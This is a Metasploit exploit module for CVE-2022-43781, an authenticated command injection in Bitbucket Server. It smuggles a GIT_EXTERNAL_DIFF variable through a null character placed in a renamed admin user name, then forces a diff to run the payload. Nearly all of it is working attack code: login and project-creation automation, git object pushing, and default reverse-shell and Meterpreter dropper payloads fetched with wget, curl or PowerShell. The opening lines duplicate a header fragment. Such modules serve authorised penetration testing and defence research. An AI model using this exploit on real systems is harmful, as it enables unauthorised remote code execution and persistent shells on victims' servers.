# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exp ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Git
include Msf::Exploit::Git::SmartHttp
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Bitbucket Environment Variable RCE',
'Description' => %q{
For various versions of Bitbucket, there is an authenticated command injection
vulnerability that can be exploited by injecting environment
variables into a user name. This module achieves remote code execution
as the `atlbitbucket` user by injecting the `GIT_EXTERNAL_DIFF` environment
variable, a null character as a delimiter, and arbitrary code into a user's
user name. The value (payload) of the `GIT_EXTERNAL_DIFF` environment variable
will be run once the Bitbucket application is coerced into generating a diff.
This module requires at least admin credentials, as admins and above
only have the option to change their user name.
},
'License' => MSF_LICENSE,
'Author' => [
'Ry0taK', # Vulnerability Discovery
'y4er', # PoC and blog post
'Shelby Pace' # Metasploit Module
],
'References' => [
[ 'URL', 'https://y4er.com/posts/cve-2022-43781-bitbucket-server-rce/'],
[ 'URL', 'https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-security-advisory-2022-11-16-1180141667.html'],
[ 'CVE', '2022-43781']
],
'Platform' => [ 'win', 'unix', 'linux' ],
'Privileged' => true,
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
'Targets' => [
[
'Linux Command',
{
'Platform' => 'unix',
'Type' => :unix_cmd,
'Arch' => [ ARCH_CMD ],
'Payload' => { 'Space' => 254 },
'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_bash' }
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'MaxLineChars' => 254,
'Type' => :linux_dropper,
'Arch' => [ ARCH_X86, ARCH_X64 ],
'CmdStagerFlavor' => %i[wget curl],
'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }
}
],
[
'Windows Dropper',
{
'Platform' => 'win',
'MaxLineChars' => 254,
'Type' => :win_dropper,
'Arch' => [ ARCH_X86, ARCH_X64 ],
'CmdStagerFlavor' => [ :psh_invokewebrequest ],
'DefaultOptions' => { 'Payload' => 'windows/meterpreter/reverse_tcp' }
}
]
],
'DisclosureDate' => '2022-11-16',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]
}
)
)
register_options(
[
Opt::RPORT(7990),
OptString.new('USERNAME', [ true, 'User name to log in with' ]),
OptString.new('PASSWORD', [ true, 'Password to log in with' ]),
OptString.new('TARGETURI', [ true, 'The URI of the Bitbucket instance', '/'])
]
)
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'login'),
'keep_cookies' => true
)
return CheckCode::Unknown('Failed to retrieve a response from the target') unless res
return CheckCode::Safe('Target does not appear to be Bitbucket') unless res.body.include?('Bitbucket')
nokogiri_data = res.get_html_document
footer = nokogiri_data&.at('footer')
return CheckCode::Detected('Failed to retrieve version information from Bitbucket') unless footer
version_info = footer.at('span')&.children&.text
return CheckCode::Detected('Failed to find version information in footer section') unless version_info
vers_matches = version_info.match(/v(d+.d+.d+)/)
return CheckCode::Detected('Failed to find version info in expected format') unless vers_matches && vers_matches.length > 1
version_str = vers_matches[1]
vprint_status("Found version #{version_str} of Bitbucket")
major, minor, revision = version_str.split('.')
rev_num = revision.to_i
case major
when '7'
case minor
when '0', '1', '2', '3', '4', '5'
return CheckCode::Appears
when '6'
return CheckCode::Appears if rev_num >= 0 && rev_num <= 18
when '7', '8', '9', '10', '11', '12', '13', '14', '15', '16'
return CheckCode::Appears
when '17'
return CheckCode::Appears if rev_num >= 0 && rev_num <= 11
when '18', '19', '20'
return CheckCode::Appears
when '21'
return CheckCode::Appears if rev_num >= 0 && rev_num <= 5
end
when '8'
print_status('Versions 8.* are vulnerable only if the mesh setting is disabled')
case minor
when '0'
return CheckCode::Appears if rev_num >= 0 && rev_num <= 4
when '1'
return CheckCode::Appears if rev_num >= 0 && rev_num <= 4
when '2'
return CheckCode::Appears if rev_num >= 0 && rev_num <= 3
when '3'
return CheckCode::Appears if rev_num >= 0 && rev_num <= 2
when '4'
return CheckCode::Appears if rev_num == 0 || rev_num == 1
end
end
CheckCode::Detected
end
def default_branch
@default_branch ||= Rex::Text.rand_text_alpha(5..9)
end
def uname_payload(cmd)
"#{datastore['USERNAME']}u0000GIT_EXTERNAL_DIFF=$(#{cmd})"
end
def log_in(username, password)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'login'),
'keep_cookies' => true
)
fail_with(Failure::UnexpectedReply, 'Failed to access login page') unless res&.body&.include?('login')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'j_atl_security_check'),
'keep_cookies' => true,
'vars_post' => {
'j_username' => username,
'j_password' => password,
'_atl_remember_me' => 'on',
'submit' => 'Log in'
}
)
fail_with(Failure::UnexpectedReply, 'Didn't retrieve a response') unless res
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'projects'),
'keep_cookies' => true
)
fail_with(Failure::UnexpectedReply, 'No response from the projects page') unless res
unless res.body.include?('Logged in')
fail_with(Failure::UnexpectedReply, 'Failed to log in. Please check credentials')
end
end
def create_project
proj_uri = normalize_uri(target_uri.path, 'projects?create')
res = send_request_cgi(
'method' => 'GET',
'uri' => proj_uri,
'keep_cookies' => true
)
fail_with(Failure::UnexpectedReply, 'Unable to access project creation page') unless res&.body&.include?('Create project')
vprint_status('Retrieving security token')
html_doc = res.get_html_document
token_data = html_doc.at('div//input[@name="atl_token"]')
fail_with(Failure::UnexpectedReply, 'Failed to find element containing 'atl_token'') unless token_data
@token = token_data['value']
fail_with(Failure::UnexpectedReply, 'No token found') if @token.blank?
project_name = Rex::Text.rand_text_alpha(5..9)
project_key = Rex::Text.rand_text_alpha(5..9).upcase
res = send_request_cgi(
'method' => 'POST',
'uri' => proj_uri,
'keep_cookies' => true,
'vars_post' => {
'name' => project_name,
'key' => project_key,
'submit' => 'Create project',
'atl_token' => @token
}
)
fail_with(Failure::UnexpectedReply, 'Failed to receive response from project creation') unless res
fail_with(Failure::UnexpectedReply, 'Failed to create project') unless res['Location']&.include?(project_key)
print_status('Project creation was successful')
[ project_name, project_key ]
end
def create_repository
repo_uri = normalize_uri(target_uri.path, 'projects', @project_key, 'repos?create')
res = send_request_cgi(
'method' => 'GET',
'uri' => repo_uri,
'keep_cookies' => true
)
fail_with(Failure::UnexpectedReply, 'Failed to access repo creation page') unless res
html_doc = res.get_html_document
dropdown_data = html_doc.at('li[@class="user-dropdown"]')
fail_with(Failure::UnexpectedReply, 'Failed to find dropdown to retrieve email address') if dropdown_data.blank?
email = dropdown_data&.at('span')&.[]('data-emailaddress')
fail_with(Failure::UnexpectedReply, 'Failed to retrieve email address from response') if email.blank?
repo_name = Rex::Text.rand_text_alpha(5..9)
res = send_request_cgi(
'method' => 'POST',
'uri' => repo_uri,
'keep_cookies' => true,
'vars_post' => {
'name' => repo_name,
'defaultBranchId' => default_branch,
'description' => '',
'scmId' => 'git',
'forkable' => 'false',
'atl_token' => @token,
'submit' => 'Create repository'
}
)
fail_with(Failure::UnexpectedReply, 'No response received from repo creation') unless res
res = send_request_cgi(
'method' => 'GET',
'keep_cookies' => true,
'uri' => normalize_uri(target_uri.path, 'projects', @project_key, 'repos', repo_name, 'browse')
)
fail_with(Failure::UnexpectedReply, 'Repository was not created') if res&.code == 404
print_good("Successfully created repository '#{repo_name}'")
[ email, repo_name ]
end
def generate_repo_objects(email, repo_file_data = [], parent_object = nil)
txt_data = Rex::Text.rand_text_alpha(5..20)
blob_object = GitObject.build_blob_object(txt_data)
file_name = "#{Rex::Text.rand_text_alpha(4..10)}.txt"
file_data = {
mode: '100755',
file_name: file_name,
sha1: blob_object.sha1
}
tree_data = (repo_file_data.empty? ? [ file_data ] : [ file_data, repo_file_data ])
tree_obj = GitObject.build_tree_object(tree_data)
commit_obj = GitObject.build_commit_object({
tree_sha1: tree_obj.sha1,
email: email,
message: Rex::Text.rand_text_alpha(4..30),
parent_sha1: (parent_object.nil? ? nil : parent_object.sha1)
})
{
objects: [ commit_obj, tree_obj, blob_object ],
file_data: file_data
}
end
# create two files in two separate commits in order
# to view a diff and get code execution
def create_commits(email)
init_objects = generate_repo_objects(email)
commit_obj = init_objects[:objects].first
refs = {
'HEAD' => "refs/heads/#{default_branch}",
"refs/heads/#{default_branch}" => commit_obj.sha1
}
final_objects = generate_repo_objects(email, init_objects[:file_data], commit_obj)
repo_objects = final_objects[:objects] + init_objects[:objects]
new_commit = final_objects[:objects].first
new_file = final_objects[:file_data][:file_name]
git_uri = normalize_uri(target_uri.path, "scm/#{@project_key}/#{@repo_name}.git")
res = send_receive_pack_request(
git_uri,
refs['HEAD'],
repo_objects,
'0' * 40 # no commits should exist yet, so no branch tip in repo yet
)
fail_with(Failure::UnexpectedReply, 'Failed to push commit to repository') unless res
fail_with(Failure::UnexpectedReply, 'Git responded with an error') if res.body.include?('error:')
fail_with(Failure::UnexpectedReply, 'Git push failed') unless res.body.include?('unpack ok')
[ new_commit.sha1, commit_obj.sha1, new_file ]
end
def get_user_id(curr_uname)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin/users/view'),
'vars_get' => { 'name' => curr_uname }
)
matched_id = res.get_html_document&.xpath("//script[contains(text(), '"name":"#{curr_uname}"')]")&.first&.text&.match(/"id":(d+)/)
fail_with(Failure::UnexpectedReply, 'No matches found for id of user') unless matched_id && matched_id.length > 1
matched_id[1]
end
def change_username(curr_uname, new_uname)
@user_id ||= get_user_id(curr_uname)
headers = {
'X-Requested-With' => 'XMLHttpRequest',
'X-AUSERID' => @user_id,
'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}"
}
vars = {
'name' => curr_uname,
'newName' => new_uname
}.to_json
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'rest/api/latest/admin/users/rename'),
'ctype' => 'application/json',
'keep_cookies' => true,
'headers' => headers,
'data' => vars
)
unless res
print_bad('Did not receive a response to the user name change request')
return false
end
unless res.body.include?(new_uname) || res.body.include?('GIT_EXTERNAL_DIFF')
print_bad('User name change was unsuccessful')
return false
end
true
end
def commit_uri(project_key, repo_name, commit_sha)
normalize_uri(
target_uri.path,
'rest/api/latest/projects',
project_key,
'repos',
repo_name,
'commits',
commit_sha
)
end
def view_commit_diff(latest_commit_sha, first_commit_sha, diff_file)
commit_diff_uri = normalize_uri(
commit_uri(@project_key, @repo_name, latest_commit_sha),
'diff',
diff_file
)
send_request_cgi(
'method' => 'GET',
'uri' => commit_diff_uri,
'keep_cookies' => true,
'vars_get' => { 'since' => first_commit_sha }
)
end
def delete_repository(username)
vprint_status("Attempting to delete repository '#{@repo_name}'")
repo_uri = normalize_uri(target_uri.path, 'projects', @project_key, 'repos', @repo_name.downcase)
res = send_request_cgi(
'method' => 'DELETE',
'uri' => repo_uri,
'keep_cookies' => true,
'headers' => {
'X-AUSERNAME' => username,
'X-AUSERID' => @user_id,
'X-Requested-With' => 'XMLHttpRequest',
'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}",
'ctype' => 'application/json',
'Accept' => 'application/json, text/javascript'
}
)
unless res&.body&.include?('scheduled for deletion')
print_warning('Failed to delete repository')
return
end
print_good('Repository has been deleted')
end
def delete_project(username)
vprint_status("Now attempting to delete project '#{@project_name}'")
send_request_cgi( # fails to return a response
'method' => 'DELETE',
'uri' => normalize_uri(target_uri.path, 'projects', @project_key),
'keep_cookies' => true,
'headers' => {
'X-AUSERNAME' => username,
'X-AUSERID' => @user_id,
'X-Requested-With' => 'XMLHttpRequest',
'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}",
'Referer' => "#{ssl ? 'https' : 'http'}://#{peer}/projects/#{@project_key}/settings",
'ctype' => 'application/json',
'Accept' => 'application/json, text/javascript, */*; q=0.01',
'Accept-Encoding' => 'gzip, deflate'
}
)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'projects', @project_key),
'keep_cookies' => true
)
unless res&.code == 404
print_warning('Failed to delete project')
return
end
print_good('Project has been deleted')
end
def get_repo
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'rest/api/latest/repos'),
'keep_cookies' => true
)
unless res
print_status('Couldn't access repos page. Will create repo')
return []
end
json_data = JSON.parse(res.body)
unless json_data && json_data['size'] >= 1
print_status('No accessible repositories. Will attempt to create a repo')
return []
end
repo_data = json_data['values'].first
repo_name = repo_data['slug']
project_key = repo_data['project']['key']
unless repo_name && project_key
print_status('Could not find repo name and key. Creating repo')
return []
end
[ repo_name, project_key ]
end
def get_repo_info
unless @project_name && @project_key
print_status('Failed to find valid project information. Will attempt to create repo')
return nil
end
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri('projects', @project_key, 'repos', @project_name, 'commits'),
'keep_cookies' => true
)
unless res
print_status("Failed to access existing repository #{@project_name}")
return nil
end
html_doc = res.get_html_document
commit_data = html_doc.search('a[@class="commitid"]')
unless commit_data && commit_data.length > 1
print_status('No commits found for existing repo')
return nil
end
latest_commit = commit_data[0]['data-commitid']
prev_commit = commit_data[1]['data-commitid']
file_uri = normalize_uri(commit_uri(@project_key, @project_name, latest_commit), 'changes')
res = send_request_cgi(
'method' => 'GET',
'uri' => file_uri,
'keep_cookies' => true
)
return nil unless res
json = JSON.parse(res.body)
return nil unless json['values']
path = json['values']&.first&.dig('path')
return nil unless path
[ latest_commit, prev_commit, path['name'] ]
end
def exploit
@use_public_repo = true
datastore['GIT_USERNAME'] = datastore['USERNAME']
datastore['GIT_PASSWORD'] = datastore['PASSWORD']
if datastore['USERNAME'].blank? && datastore['PASSWORD'].blank?
fail_with(Failure::BadConfig, 'No credentials to log in with.')
end
log_in(datastore['USERNAME'], datastore['PASSWORD'])
@curr_uname = datastore['USERNAME']
@project_name, @project_key = get_repo
@repo_name = @project_name
@latest_commit, @first_commit, @diff_file = get_repo_info
unless @latest_commit && @first_commit && @diff_file
@use_public_repo = false
@project_name, @project_key = create_project
email, @repo_name = create_repository
@latest_commit, @first_commit, @diff_file = create_commits(email)
print_good("Commits added: #{@first_commit}, #{@latest_commit}")
end
print_status('Sending payload')
case target['Type']
when :win_dropper
execute_cmdstager(linemax: target['MaxLineChars'] - uname_payload('cmd.exe /c ').length, noconcat: true, temp: '.')
when :linux_dropper
execute_cmdstager(linemax: target['MaxLineChars'], noconcat: true)
when :unix_cmd
execute_command(payload.encoded.strip)
end
end
def cleanup
if @curr_uname != datastore['USERNAME']
print_status("Changing user name back to '#{datastore['USERNAME']}'")
if change_username(@curr_uname, datastore['USERNAME'])
@curr_uname = datastore['USERNAME']
else
print_warning('User name is still set to payload.'
"Please manually change the user name back to #{datastore['USERNAME']}")
end
end
unless @use_public_repo
delete_repository(@curr_uname) if @repo_name
delete_project(@curr_uname) if @project_name
end
end
def execute_command(cmd, _opts = {})
if target['Platform'] == 'win'
curr_payload = (cmd.ends_with?('.exe') ? uname_payload("cmd.exe /c #{cmd}") : uname_payload(cmd))
else
curr_payload = uname_payload(cmd)
end
unless change_username(@curr_uname, curr_payload)
fail_with(Failure::UnexpectedReply, 'Failed to change user name to payload')
end
view_commit_diff(@latest_commit, @first_commit, @diff_file)
@curr_uname = curr_payload
end
end